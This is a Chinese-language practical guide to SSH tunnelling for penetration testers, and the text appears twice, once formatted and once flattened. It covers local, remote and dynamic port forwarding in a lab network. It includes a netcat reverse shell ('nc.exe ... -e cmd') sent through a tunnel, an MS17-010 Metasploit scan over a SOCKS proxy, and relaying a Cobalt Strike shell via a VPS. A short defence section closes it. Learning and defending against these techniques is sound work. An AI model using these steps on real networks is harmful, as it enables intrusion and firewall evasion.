ssh隧道技术在实战中的使用
字数 1196 2025-08-25 22:58:29

SSH隧道技术实战指南

一、SSH隧道概述

SSH隧道技术利用SSH协议在内网穿透和防火墙绕过中的优势:

  • 几乎所有Linux服务器和网络设备都支持SSH协议
  • SSH协议通常被允许通过防火墙和边界设备
  • 传输过程加密,难以区分合法会话和攻击隧道
  • 可建立原本无法建立的TCP连接

二、SSH隧道核心参数

常用参数说明:

  • -C:压缩传输,提高速度
  • -f:转入后台执行
  • -N:建立静默连接
  • -g:允许远程主机连接本地转发端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发(SOCKS代理)
  • -P:指定SSH端口

三、本地端口转发

1. 基本应用场景

  • 外部VPS可访问内网Web服务器
  • 内网Web服务器可访问数据库服务器
  • 目标:通过Web服务器跳板访问数据库3389端口

2. 配置步骤

  1. 修改SSH服务器配置(/etc/ssh/sshd_config):

    PermitRootLogin yes
    Port 22
    PasswordAuthentication yes
    service ssh restart
    
  2. 建立本地转发隧道:

    ssh -fCNg -L <本地端口>:<目标IP>:<目标端口> <用户名>@<SSH服务器> -p <SSH端口>
    示例:
    ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22
    
  3. 验证端口监听:

    netstat -anptl | grep 1153
    
  4. 连接使用:

    rdesktop 127.0.0.1:1153
    

3. 加密传输案例

环境:

  • Linux1(192.168.190.110)
  • Linux2(192.168.190.133)
  • Win7(192.168.190.136)
  • Win2008(192.168.190.132)

操作流程:

  1. Linux1执行:

    ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22
    
  2. Win7监听:

    nc -lvp 333
    
  3. Win2008连接:

    nc.exe 192.168.190.110 7006 -e cmd
    

四、远程端口转发

1. 应用场景

  • 外网VPS无法直接访问内网
  • 内网Web服务器可访问外网VPS
  • 目标:通过Web服务器跳板访问数据库3389端口

2. 操作步骤

  1. Web服务器执行:

    ssh -fNg -R <VPS端口>:<内网IP>:<内网端口> <VPS用户>@<VPS_IP> -p <VPS_SSH端口>
    示例:
    ssh -fCNg -R 1521:192.168.190.136:3389 root@192.168.190.110
    
  2. VPS验证监听:

    netstat -anptl | grep 1521
    
  3. 连接使用:

    rdesktop 127.0.0.1:1521
    

五、动态转发(SOCKS代理)

1. 建立动态隧道

ssh -fCNg -D <本地端口> <用户名>@<SSH服务器>
示例:
ssh -fCNg -D 7000 root@192.168.174.133

2. 验证监听

netstat -anptl | grep 7000

3. 浏览器配置

设置网络代理为SOCKS5,地址127.0.0.1,端口7000

4. Metasploit结合使用

msfconsole -q
setg proxies socks5:192.168.174.130:7000
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.190.132
set threads 10
run

六、X协议转发

1. 远程GUI访问

ssh -X root@192.168.199.165 -p 53

2. 使用图形化工具

ssh -X root@192.168.199.165

七、实战高级应用

1. CS Shell转发

  1. 修改VPS SSH配置:

    AllowTcpForwarding yes
    GatwayPorts yes
    TCPKeepAlive yes
    PasswordAuthentication yes
    
  2. 建立隧道:

    ssh -CfNg -R 1.1.1.1:3306:192.168.174.130:3306 root@1.1.1.1 -p 1521
    
  3. 将CS Shell委派到VPS 3306端口

八、防御措施

  1. SSH访问控制:

    • 配置SSH远程管理白名单
    • ACL限制特定IP连接SSH
    • 完全使用带外管理
  2. 监控措施:

    • 监控异常SSH连接
    • 审计SSH日志
    • 限制SSH端口转发权限

九、技术总结

转发类型 命令格式 数据流向 典型应用
本地转发 -L 本地→远程→目标 访问内网服务
远程转发 -R 远程→本地→目标 内网穿透
动态转发 -D SOCKS代理 全局代理访问
X转发 -X GUI转发 远程图形界面

通过合理配置SSH隧道,可以实现灵活的内网穿透和加密通信,但同时也需注意安全风险,做好防御措施。

SSH隧道技术实战指南 一、SSH隧道概述 SSH隧道技术利用SSH协议在内网穿透和防火墙绕过中的优势: 几乎所有Linux服务器和网络设备都支持SSH协议 SSH协议通常被允许通过防火墙和边界设备 传输过程加密,难以区分合法会话和攻击隧道 可建立原本无法建立的TCP连接 二、SSH隧道核心参数 常用参数说明: -C :压缩传输,提高速度 -f :转入后台执行 -N :建立静默连接 -g :允许远程主机连接本地转发端口 -L :本地端口转发 -R :远程端口转发 -D :动态转发(SOCKS代理) -P :指定SSH端口 三、本地端口转发 1. 基本应用场景 外部VPS可访问内网Web服务器 内网Web服务器可访问数据库服务器 目标:通过Web服务器跳板访问数据库3389端口 2. 配置步骤 修改SSH服务器配置( /etc/ssh/sshd_config ): 建立本地转发隧道: 验证端口监听: 连接使用: 3. 加密传输案例 环境: Linux1(192.168.190.110) Linux2(192.168.190.133) Win7(192.168.190.136) Win2008(192.168.190.132) 操作流程: Linux1执行: Win7监听: Win2008连接: 四、远程端口转发 1. 应用场景 外网VPS无法直接访问内网 内网Web服务器可访问外网VPS 目标:通过Web服务器跳板访问数据库3389端口 2. 操作步骤 Web服务器执行: VPS验证监听: 连接使用: 五、动态转发(SOCKS代理) 1. 建立动态隧道 2. 验证监听 3. 浏览器配置 设置网络代理为SOCKS5,地址127.0.0.1,端口7000 4. Metasploit结合使用 六、X协议转发 1. 远程GUI访问 2. 使用图形化工具 七、实战高级应用 1. CS Shell转发 修改VPS SSH配置: 建立隧道: 将CS Shell委派到VPS 3306端口 八、防御措施 SSH访问控制: 配置SSH远程管理白名单 ACL限制特定IP连接SSH 完全使用带外管理 监控措施: 监控异常SSH连接 审计SSH日志 限制SSH端口转发权限 九、技术总结 | 转发类型 | 命令格式 | 数据流向 | 典型应用 | |---------|---------|---------|---------| | 本地转发 | -L | 本地→远程→目标 | 访问内网服务 | | 远程转发 | -R | 远程→本地→目标 | 内网穿透 | | 动态转发 | -D | SOCKS代理 | 全局代理访问 | | X转发 | -X | GUI转发 | 远程图形界面 | 通过合理配置SSH隧道,可以实现灵活的内网穿透和加密通信,但同时也需注意安全风险,做好防御措施。